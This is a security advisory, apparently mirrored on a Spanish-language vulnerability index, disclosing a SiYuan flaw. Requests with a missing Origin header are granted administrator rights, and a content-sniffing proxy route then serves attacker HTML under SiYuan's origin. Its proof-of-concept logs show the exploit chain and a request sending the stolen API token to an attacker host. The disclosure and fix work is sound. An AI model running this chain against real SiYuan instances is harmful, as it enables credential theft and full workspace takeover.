GHSA-2W6Q-WGC8-Q743
Missing-Origin fail-open in `CheckAuth` / `IsSessionOriginAllowed`, composed with content-type sniffing on `/api/network/proxy`: any web page obtains administrator API access and same-origin script execution in SiYuan
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-2W6Q-WGC8-Q743 divulgada · CVSS 9.3 (GitHub) | |
| Remediación | Parche v3.8.4+incompatible | github.com/siyuan-note/siyuan · 10 d desde divulgación | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Two guards in the kernel treat an absent `Origin` header as trusted, and a third code
path lets an attacker serve arbitrary HTML under SiYuan's own origin. Composed, a single
cross-site GET from any web page gives an unauthenticated attacker `RoleAdministrator`,
script execution in `http://127.0.0.1:6806`, and the persistent kernel API token.
The premise is stated in the code itself, at `kernel/util/net.go:129-133`:
func IsSessionOriginAllowed(origin, host string) bool {
if "" == origin {
// 浏览器发起的跨站请求都会携带 Origin,未携带时视为非浏览器客户端,按原行为放行
return true
}*"Cross-site requests initiated by a browser always carry Origin; when it is absent, treat
the client as a non-browser and allow it as before."* That premise is false. Per the Fetch
standard a browser omits `Origin` on a cross-site top-level GET navigation and on
`no-cors` GET subresource loads. Measured below: the request arrives with no `Origin` but
with `Sec-Fetch-Site: cross-site`, `Sec-Fetch-Mode: navigate`, `Sec-Fetch-Dest: document`
and a cross-site `Referer` — the kernel simply never looks at them
(`grep -rn "Sec-Fetch" kernel/ --include=*.go` matches nothing outside tests).
Affected version
`v3.8.2` (commit `44a6c212a994c7ba8129fc38b001a9ab58957c6f`, the current release, published
2026-08-30) — which is also `origin/master`; no commit after the tag touches
`kernel/model/session.go`, `kernel/util/net.go`, `kernel/api/network.go` or
`kernel/server/serve.go`.
The three defects
(1) `kernel/model/session.go:258-268` — the no-password desktop branch.
Reached when `!IsAccessAuthRequired()` (i.e. `Conf.AccessAuthCode == ""` and OIDC
disabled) — the out-of-the-box state of a `container [std]` install:
origin := c.GetHeader("Origin")
if !localhost ||
("" != clientIP && !util.IsLocalHostname(clientIP)) ||
("" != host && !util.IsLocalHost(host)) ||
("" != origin && !util.IsLocalOrigin(origin)) || // <-- only checked when present
("" != forwardedHost && !util.IsLocalHost(forwardedHost)) {
... 401 ...
}
c.Set(RoleContextKey, RoleAdministrator)A request with no `Origin` header skips the origin check entirely and is granted
`RoleAdministrator`. This is an incomplete mitigation of issue #9180 (the origin check
this line implements), not something introduced by a later fix.
(2) `kernel/util/net.go:129-133` — `IsSessionOriginAllowed`, the cookie-auth sibling.
This helper was *added by* the fix for GHSA-hhm2-g993-p656 and ships with the same
empty-`Origin` fail-open. It gates the password/session branch (`session.go:316`) and all
three WebSocket `CheckOrigin` hooks. The session cookie is `SameSite=Lax`
(`kernel/server/serve.go:166`), and Lax does send the cookie on a cross-site top-level
GET navigation — so instances that *do* have a lock-screen password are reachable too
whenever a session is live. This one is a genuine residual of that advisory's own fix.
**(3) `kernel/api/network.go:424-431` + `router.go:683` — an attacker-controlled response
served as `text/html` under SiYuan's origin.**
ginServer.Any("/api/network/proxy", model.CheckAuth, model.CheckAdminRole, httpProxy)`Any` makes the route reachable by GET (documented in `docs/API.md` as "Request method:
any HTTP method"). `httpProxy` fetches the URL supplied in the base64url `u` query
parameter and copies the body verbatim, while `forwardResponseHeaders` renames every
upstream header:
func forwardResponseHeaders(dst http.Header, src http.Header) {
for k, vs := range src {
for _, v := range vs {
dst.Add("Siyuan-Proxy-"+k, v)
}
}
}Because the real `Content-Type` is renamed away, the response leaves Go's `net/http` with
no content type, so the standard library's sniffer supplies one from the attacker's body.
This route sets neither `X-Content-Type-Options: nosniff` nor a CSP (unlike `/assets`,
`/appearance`, `/export`, `/history`). Measured: an upstream response that explicitly
declares `Content-Type: text/plain; charset=utf-8` is re-served by SiYuan as
`Content-Type: text/html; charset=utf-8` and executes.
`/es/network/proxy` behaves identically. `/api/network/echo` is also `Any`-registered but
answers with `c.JSON`, so it is not a second HTML sink.
Chain
attacker page (any origin) → cross-site GET to
`http://127.0.0.1:6806/api/network/proxy?u=<base64url(attacker URL)>` → no `Origin` ⇒
`RoleAdministrator` (defect 1 or 2) → attacker HTML served as `text/html` under
`http://127.0.0.1:6806` (defect 3) → attacker JavaScript now runs same-origin and every
admin API call succeeds without any origin restriction.
Proof of concept (all measured on v3.8.2, default config, this lab)
A. HTTP layer — control/exploit pairs
CONTROL POST /api/system/getConf Origin: http://evil.example -> 401
EXPLOIT POST /api/system/getConf (no Origin header) -> 200, code 0,
conf.api.token = 3u1stgsau5rfbhv5
CONTROL GET /api/network/proxy?u=… Origin: http://evil.example -> 401
EXPLOIT GET /api/network/proxy?u=… (no Origin header) -> 200The proxied response, where the upstream deliberately declared text/plain:
HTTP/1.1 200 OK
Siyuan-Proxy-Content-Type: text/plain; charset=utf-8
Content-Type: text/html; charset=utf-8
(no X-Content-Type-Options, no Content-Security-Policy)
<html><body>SNIFFED-AS-HTML<script>…</script></body></html>B. Browser, end to end
Attacker page served from a public address space host (`http://203.0.113.5:9977`),
target is the loopback kernel.
*Chromium 150.0.7871.181 — cross-site top-level navigation:*
GET /nav.html
GET /mark?m=nav_page_loaded_origin=http%3A%2F%2F203.0.113.5%3A9977
GET /payload.html <- fetched by the SiYuan kernel
GET /exfil?token=3u1stgsau5rfbhv5&origin=http%3A%2F%2F127.0.0.1%3A6806
| Referer: http://127.0.0.1:6806/`location.origin` inside the injected payload is `http://127.0.0.1:6806` and the kernel API
token is exfiltrated. Appending `setTimeout(()=>history.back(),1500)` returns the tab to the
attacker page, so the navigation is a flash rather than a persistent tell.
*Chromium 150 — iframe/subresource:* blocked. `iframe.onload` fires on an error page, the
kernel never receives the request. This is Chrome's Local Network Access gate
(public → loopback), so on Chrome the viable vector is the top-level navigation only.
*Firefox 140.13.0esr — iframe/subresource:* works, silently, with zero interaction:
GET /iframe.html
GET /payload.html <- fetched by the SiYuan kernel
GET /mark?m=iframe_onload
GET /exfil?token=3u1stgsau5rfbhv5&origin=http%3A%2F%2F127.0.0.1%3A6806C. The headers the kernel actually receives
Cross-site top-level GET navigation from `http://203.0.113.5:9978` to a loopback origin,
captured on the wire (Chromium 150):
Origin: (absent)
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://203.0.113.5:9978/Impact
- Unauthenticated `RoleAdministrator` on every admin API for a drive-by visitor.
- Same-origin script execution in the SiYuan UI origin: full workspace read
- Theft of `conf.api.token`, which grants persistent `Authorization: Token …` administrator
- From the injected same-origin context, `POST /api/snippet/setSnippet` returns `{"code":0}`
Severity
CVSS v4 `AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` ≈ 8.6 (High/Critical)
for the confirmed same-origin takeover plus credential theft. `UI:A` reflects the victim
merely loading a web page (Firefox: no interaction at all; Chrome: a visible tab
navigation). CWE-346 (Origin Validation Error), CWE-1220 (Insufficient Granularity of
Access Control), with CWE-430/CWE-436 for the sniffing sink.
Suggested fix
- Make both guards fail closed, or better, decide with a header the browser always
// reject any request the browser labels as cross-site, with or without Origin
if s := c.GetHeader("Sec-Fetch-Site"); s != "" && s != "same-origin" && s != "none" {
// 401
}`Sec-Fetch-Site` is present on the wire today (measured above) and is exactly the signal
the `"" == origin` comment assumes does not exist.
2. Restrict `/api/network/proxy` and `/es/network/proxy` to `POST` (they are documented as
API calls, not navigable resources), and/or set `X-Content-Type-Options: nosniff` plus
`Content-Disposition: attachment` and an explicit
`Content-Type: application/octet-stream` on the proxied response so the sniffer can
never promote it to HTML.
Dedup
All published advisories for `github.com/siyuan-note/siyuan/kernel` were enumerated and
their descriptions searched: none mentions `/api/network/proxy`, `httpProxy`,
`Siyuan-Proxy`, content-type sniffing, or an absent `Origin` header as the defect. Nearest
neighbours, each re-tested as a control here:
- GHSA-hvr9-72v2-fff3 / CVE-2026-54069 — blanket `chrome-extension://` origin
- GHSA-hhm2-g993-p656 — the fix that introduced `IsSessionOriginAllowed`; its own
- GHSA-68p4-j234-43mv — credentialed cross-origin fetch via
- GHSA-56cv-c5p2-j2wg — SSRF via `/api/network/forwardProxy` (POST + JSON only, not
- GHSA-xp2m-98x8-rpj6, GHSA-3cc2-h3v6-rqpq — CSWSH; WebSocket handshakes always
Issue/PR search: `network/proxy` returns only feature/bug threads (#17748, #18220, #18991,
#18414); `Origin header` returns #9180 (the origin of this guard) and false-rejection
complaints (#18712, #18670, #18701); no thread proposes handling an absent `Origin`.
`.github/SECURITY.md` excludes SSRF reports but states "This exclusion does not apply to
unauthenticated access or authentication/authorization bypasses" — this is an
authentication bypass yielding same-origin script execution, and it is not filed as SSRF.
`/api/network/proxy` is documented as a supported API, not as a debug-only endpoint.
Honest limits
- The Electron OS-command escalation is inferred, not measured: I confirmed that
- The password/session leg (defect 2) was confirmed server-side with a cookie jar
- `util.SSRFSafeDialer` only blocks private/loopback targets when `util.SafeMode` is set,
- Defect (1) alone yields no POST CSRF: a page can never omit `Origin` on a POST (control:
- `util.SiYuanAccessAuthCodeBypass` (env `SIYUAN_ACCESS_AUTH_CODE_BYPASS`, default false)
- Scope of the claim: `container [std]` desktop with the default (no lock-screen password,
---
Appendix — `EVIDENCE_siyuan_no_origin_20260901.txt` (inlined; advisories accept no attachments)
=== SiYuan v3.8.2 (commit 44a6c212a) — measured 2026-09-01, all against a local default-config kernel on 127.0.0.1:6806 ===
--- A. HTTP layer: control / exploit pairs (curl) ---
CONTROL POST /api/system/getConf Origin: http://evil.example -> 401
EXPLOIT POST /api/system/getConf (no Origin header) -> 200 code=0 conf.api.token=3u1stgsau5rfbhv5
CONTROL GET /api/network/proxy?u=... Origin: http://evil.example -> 401
EXPLOIT GET /api/network/proxy?u=... (no Origin header) -> 200
upstream declared: Content-Type: text/plain; charset=utf-8
siyuan returned : Siyuan-Proxy-Content-Type: text/plain; charset=utf-8
Content-Type: text/html; charset=utf-8 <-- Go net/http sniffer
(no X-Content-Type-Options, no CSP)
body: <html><body>SNIFFED-AS-HTML<script>...</script></body></html>
--- B. Browser end-to-end, attacker page in PUBLIC address space http://203.0.113.5:9977 ---
[Chromium 150.0.7871.181] top-level navigation vector:
GET /nav.html
GET /mark?m=nav_page_loaded_origin=http%3A%2F%2F203.0.113.5%3A9977
GET /payload.html <- fetched by the SiYuan kernel (server side)
GET /exfil?token=3u1stgsau5rfbhv5&origin=http%3A%2F%2F127.0.0.1%3A6806 | Referer=http://127.0.0.1:6806/
[Chromium 150] iframe/subresource vector: iframe_onload fired, kernel never fetched /payload.html, no exfil (Local Network Access)
[Firefox 140.13.0esr] iframe/subresource vector (silent, zero interaction):
GET /iframe.html
GET /payload.html <- fetched by the SiYuan kernel
GET /mark?m=iframe_onload
GET /exfil?token=3u1stgsau5rfbhv5&origin=http%3A%2F%2F127.0.0.1%3A6806 | Referer=http://127.0.0.1:6806/
--- C. Headers actually on the wire for that cross-site top-level GET navigation (Chromium 150 -> 127.0.0.1) ---
PATH /kernel-stand-in
Origin: None
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://203.0.113.5:9978/
PATH /favicon.icoIncluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/siyuan-note/siyuan |
Corregida | v3.8.4+incompatible | 10 d | v3.8.7+incompatible no afectada |
v3.8.4+incompatibleArsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/siyuan-note/siyuan/security/advisories/GHSA-2w6q-wgc8-q743Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
